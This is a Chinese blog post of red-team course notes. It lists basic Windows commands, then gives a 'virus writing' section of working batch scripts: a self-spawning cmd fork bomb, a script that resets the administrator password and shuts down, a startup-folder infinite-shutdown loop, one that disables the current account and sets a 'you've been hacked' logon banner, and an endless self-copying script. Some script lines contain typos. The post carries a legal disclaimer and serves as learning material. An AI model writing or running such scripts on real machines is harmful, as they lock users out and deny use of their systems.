首页 > 其他分享 >win基础命令+基础病毒编写

win基础命令+基础病毒编写

时间:2024-11-17 15:44:58浏览次数:3  
标签:脚本 文件 bat win cmd 基础 shutdown 编写 txt

本笔记为 泷羽sec 《红队全栈课程》学习笔记,课程请可自行前往B站学习,课程/笔记主要涉及网络安全相关知识、系统以及工具的介绍等,请使用该课程、本笔记以及课程和笔记中提及工具的读者,遵守网络安全相关法律法规,切勿进行违法违规违纪的操作。

Windows基础

pwoershell下

常用命令

echo命令

echo #输出
echo "hello word"
#覆盖内容
echo "hello word" >1.txt
#追加内容
echo "hello word" >>1.txt

显示当前目录文件

dir #显示当前目录下文件
dir C:/users/home #显示绝对目录下home文件
dir MV #显示当前目录下mv

cd命令

切换指定目录
cd C:\Windows\users\home #绝对路劲用法
cd Windows #如果在目录下,可以使用相对路径
根目录
\
返回上个目录
cd ..
上个*2个目录
cd ..\..
切换盘符
D:
切换到当前用户目录
cd ~

树状图层级关系显示

tree #显示目录或指定目录
tree /f #显示所有文件和目录
tree /a #ascll码显示

删除命令

rd home 删除空文件夹
rd home /s 删除非空文件夹
rd home /f 强制删除

清空命令行

cls

查看网络状态

ipconfig
ipconfig /all 显示所有

复制

copy 1.txt 2.txt

#将一个文件复制到当前目录并命名

copy 1.txt home\2.txt

#复制到指定目录

copy users/1.txt home\2.txt
将指定目录复制到指定目录

copy *.txt D:/windows
将所有txt复制到指定目录,*是通配符

复制并覆盖
copy 1.txt \home\2.txt /y

移动文件

移动
move 1.txt \home
移动并重命名
move  1.txt\home\2.txt

重命名

ren 1.txt 2.txt
#如果是文件需要带上他原本格式
批量重命名
ren *.txt*.bat

删除

* 通配符
del 1.txt.#单个
del *.txt #多个
del /f 1.txt #强制删除只读文件(默认情况下不会删除)
del /q *.txt 静默删除(干坏事的)
#指定目录所有文件
del  /s D:\home
# 所有 格式文件
del /s D:\home\*.txt

删除指定属性文件

r 只读文件

s 系统文件

h 隐藏文件

a 存档文件

del /a hone

ping命令

ping 8.8.8.80 #指定ip
ping www.baidu.com #指定域名
ping -n 100 ip #指定发包数量
ping -l 1000 ip #设定数据字节
ping -v4 
ping -v6
ping -a ip 解析主机名

type(查看文本内容)

#先写入 cmd写入 echo "abcd" >>1.txt
#再用type查看文本内容
type 1.txt
结合find命令筛选出文本内容并显示行号
type 1.txt | find 'w' /n
#/n 显示行号

计算机进程

tasklist #所有进程
tasklist | find '<>' #筛选进程
S ip  U user P password
tasklist /S /U /P #查看远程计算机进程
#终止进程
/F #强制
/T #子进程
#终止远程计算机进程
taskkill /S /U /P /IM 名字.exe
pid 1000 pid形式
IM cmd.exe 进程名形式


显示系统版本
ver 命令行
winver GUI

创建进程*

start ping #自带程序,需要指定参数
start cmd.exe #指定程序

注销用户会话
当前
Logoff
指定id,使用query user查看会话id
Logoff 1

注销命令

shutdown /s #关闭计算机
shutdown /f #重启计算机
shutdown /l #注销当前用户会话
shutdown /s /t 60 #60秒内关机
shutdown /r /t 30 #30秒关机
shutdown /s /f  #强制关闭计算机
shutdown /a #取消定时关闭或重启
shutdown /h #使计算机进入休眠模式
shutdown /p #立即关闭计算机

telnet

telnet ip
查看所有用户
net user
添加用户
net user username password /add
删除用户
net user username /delete
查看本地用户组
net localgroup
添加组
net localgroup groupname /add
添加到管理员用户组,相当于提权
net localgroup administrators username /add

net启动和关闭
net start mysql #启动
net stop mysql #关闭
net enable mysql 自启动#

注册表

reg /? 

病毒编写

资源耗尽病毒(疯狂弹cmd)

cmd写

echo start cmd >1.txt #打开新的cmd窗口,将cmd写入1.txt
echo %0 >>1.txt # %0 在批处理脚本中, %0 代表脚本文件自身的路径(即脚本文件的名字)。将 %0 放
在 start cmd 后面,会使新启动的命令行窗口重新运行当前批处理文件
ren 1.txt 1.bat #开始执行将txt后缀改为bat后缀

脚本运行过程:

每次运行此脚本时,都会启动一个新的 cmd 窗口,并在该窗口中再次执行当前脚本。

新的 cmd 窗口会启动另一个 cmd 窗口,这个过程会不断重复,最终生成大量的 cmd 窗口。

由于这些窗口在不断创建,系统的 CPU 和内存资源会被大量占用,导致资源耗尽,系统变慢,甚至崩溃。

解决方式

重启

 

锁机病毒

net user administrator 123456
#这个是把管理员账户修改密码,这样会导致管理员会丢失对该用户账户的控制权
echo shutdown /s /t 0 >>2.txt
关闭计算机,立即执行,执行时会将计算机立即关机
ren 2.txt 2.bat

脚本执行过程

第一行为:修改admin账户密码

第二行为:关机,迫使计算机重新登录用户

 

无限重启病毒

这边我的/用错了,而是用\
shutdown /s /t 0 >c:/Windows/Temp/1.bat

copy c:/Windows/Temp/1.bat
"%USERFILE%/AppDate/Roaming/Microsoft/start/Menu/Programs/startup/"

第一段:关闭计算机立即执行,shutdown命令在上面,这里就不重复

第二段:将1.bat文件复制到启动文件下,启动文件夹中的所有文件会在用户登录时自动执行,因此这会1.bat 在每次开机时自动运行,导致系统进入无限重启状态。

脚本执行过程

1:创建恶意批量文件

  • 将shutdown 命令 写入c:/Windows/Temp/1.bat

他的作用就是关机

  • 将1.bat复制到启动文件中,启动文件夹中的程序会在用户登录时自动运行,因此每次系统启动1.bat 都会自动执行,导致系统立即关机。
  • 由于该批处理文件会在每次登录时自动执行关机操作,用户几乎无法正常进入系统桌面,形成无限重启的效果。

 

禁用当前账户

简介:

在批处理(Batch)脚本中,可以通过禁用当前用户账户和修改系统登录信息来达到“锁定账户并提示用户已被锁定”的效果。

实现方法:

1.禁用当前账户:使用 net user 命令将当前用户禁用。

2. 修改登录提示:通过修改注册表设置自定义登录提示信息。

#关闭命令回显
@echo off
#获取当前用户名
for /f "tokens=2 delims= \" %%a in ('whoami') do set username=%%a

#禁用当前用户
net user %username% /active:no
#设置登录信息
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticecaption /t REG_SZ /d "你已经被hack,账户锁定" /f
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v
legalnoticetext /t REG_SZ /d "你已经被hack,你的账户已被锁定,请联系管理员。" /f

#关机
shutdown /s /t 0

脚本运行过程:

1. 运行脚本:以管理员权限运行该批处理脚本。

2. 账户禁用:脚本会获取当前用户名,并将该用户账户设置为禁用状态。

3. 立刻关闭主机:脚本在禁用账户后会立刻关闭主机

4. 尝试重新登录:当用户再次登录系统时,将显示“账户已被锁定,请联系管理员”的提示。

5. 账户禁用效果:账户被禁用后,即使输入正确的密码也无法登录系统。

 

无限复制本体

@echo off
#获取当前脚本文件名和路径
stelocal enabledelayedexpansion
set scriptPath=%~f0
set desktopPath=%USERPROFILE%\Desktop
#无限复制脚本到桌面
:loop
set count+=1
copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat"
goto loop

代码分析:

  • 启用延迟变量扩展

stelocal enabledelayedexpansion

启用延迟变量扩展,这样可以在循环中动态更新

变量的值。延迟扩展在批处理脚本中非常有用,特别是在处理循环时。

但实测后不加这个行代码对当期那脚本无影响,可能最是对for循环有作用。

  • 获取脚本路径和桌面路径

set scriptPath=%~f0 :获取当前脚本文件的完整路径,并将其存储在变量

scriptPath 中。 %~f0 表示当前批处理文件的完整路径。

set desktopPath=%USERPROFILE%\Desktop :获取当前用户桌面的路径,将其存储在变量 desktopPath 中。 %USERPROFILE% 是系统环境变量,指向当前用户的主文件夹路径。

  • 无限循环复制脚本

:loop :定义一个标签 loop ,用于无限循环的入口。

set /a count+=1 :定义一个计数器 count ,并在每次循环时自增 1,用于生成唯一的

文件名, /a 告诉 set 命令对右侧的表达式进行算术运算。

copy "%scriptPath%" "%desktopPath%\Copy_%count%.bat" :将当前脚本文件复制到桌面,并命名为 Copy_1.bat Copy_2.bat 等等。 %count% 确保每次复制文件的文件名不同,以避免覆盖。

goto loop :跳转回 loop 标签,形成无限循环

 

运行过程

启动脚本:运行此脚本后,它会进入无限循环。

2. 复制脚本文件:在每次循环中,脚本会将自身复制到桌面,并使用不同的文件名。

3. 占用系统资源:随着循环的进行,桌面上会不断生成新的脚本文件,最终可能占满桌面

空间,并导致系统存储空间耗尽。

4. 系统影响:如果存储空间被完全填满,系统性能可能显著下降,甚至会影响其他程序的正常运行

 

解决方式

直接 del copy*,直接全部删除

标签:脚本,文件,bat,win,cmd,基础,shutdown,编写,txt
From: https://blog.csdn.net/2301_78098553/article/details/143697309

相关文章

  • Linux基础+基本病毒编写
    **免责声明**学习视频来自B站up主泷羽sec,如涉及侵权马上删除文章。笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。B站地址:泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频一:opensslopenssl是一个开源的......
  • 云基础基础
    **免责声明**学习视频来自B站up主泷羽sec,如涉及侵权马上删除文章。笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。B站地址:泷羽sec的个人空间-泷羽sec个人主页-哔哩哔哩视频在过去,搭建一个应用程序可真是个......
  • 网络安全之Linux基础
    目录文件管理创建空文件删除文件新建目录删除目录重命名文件移动文件软链接(SymbolicLink)硬链接(HardLink)搜索文件基本语法优点缺点基本语法常用选项示例注意事项功能基本语法常用选项示例输出解释注意事项功能基本语法常用选项示例输出解释注意......
  • c++入门基础后续
    1.缺省参数缺省参数是指在声明或定义的同时给上指定的一个缺省值,在调用函数是如果没有传指定的实参那么就会用这个缺省值。缺省参数分为全缺省和半缺省。全缺省就是全部形参给缺省值,半缺省就是部分形参给缺省值。C++规定半缺省参数必须从右往左依次连续缺省,不能间隔跳跃......
  • 学期2024-2025-1 学号20241421 《计算机基础与程序设计》第8周学习总结
    作业信息|这个作业属于哪个课程|https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP||这个作业要求在哪里|https://www.cnblogs.com/rocedu/p/9577842.html#WEEK08||这个作业的目标|功能设计与面向对象设计,面向对象设计过程,面向对象语言三要素,汇编、编译、解释、执行||作......
  • 对比 win32 linux原生 和 qt 的 所有 socket api
    以下是Win32原生、Linux原生和Qt的SocketAPI对比,包括TCP和UDP的功能、特性及优缺点。我们从核心API、特性、性能和常见应用等方面进行分析。1.核心API对比1.1Socket创建与初始化操作Win32(原生)Linux(原生)Qt(跨平台)创建套接字socket()socket()......
  • QObject,QMainWindpw,QWidget,QDialog介绍
    QObjectQObject的角色和特点在Qt框架中,QObject是整个对象模型的核心基类,它为Qt对象树和信号-槽机制提供了基础支持。很多Qt的类(包括QWidget、QDialog、QMainWindow)都直接或间接继承自QObject。QObject的核心功能对象树管理(ObjectTree)QObject提供了父子关......
  • 2024-2025-1 20241329 《计算机基础与程序设计》第八周学习总结
    作业信息作业归属课程:https://edu.cnblogs.com/campus/besti/2024-2025-1-CFAP作业要求:https://www.cnblogs.com/rocedu/p/9577842.html#WEEK08作业目标:功能设计与面向对象设计;面向对象设计过程;面向对象语言三要素;汇编、编译、解释、执行作业正文:https://www.cnblogs.com/inca......
  • 使用 Raku 编写简单的文字识别模拟程序
    Raku(以前称为Perl6)是一种现代的多范式编程语言,支持函数式编程、面向对象编程等多种编程风格。它有着强大的正则表达式支持,并且语法灵活,适合用于文本处理和其他各类程序设计。本文将使用Raku编写一个简单的模拟文字识别程序,判断输入的字符矩阵是否与预定义的字符模式匹配。项......
  • 使用 Elm 编写简单文字识别模拟程序
    Elm是一种主要用于构建Web应用程序的函数式编程语言。它以其强大的类型系统和无运行时错误的设计闻名。虽然Elm的主要用途是前端开发,但我们可以通过其纯函数式的特性,模拟一个简单的文字识别程序。项目目标通过Elm创建一个字符模式匹配模拟程序,识别一个5x5像素矩阵是否......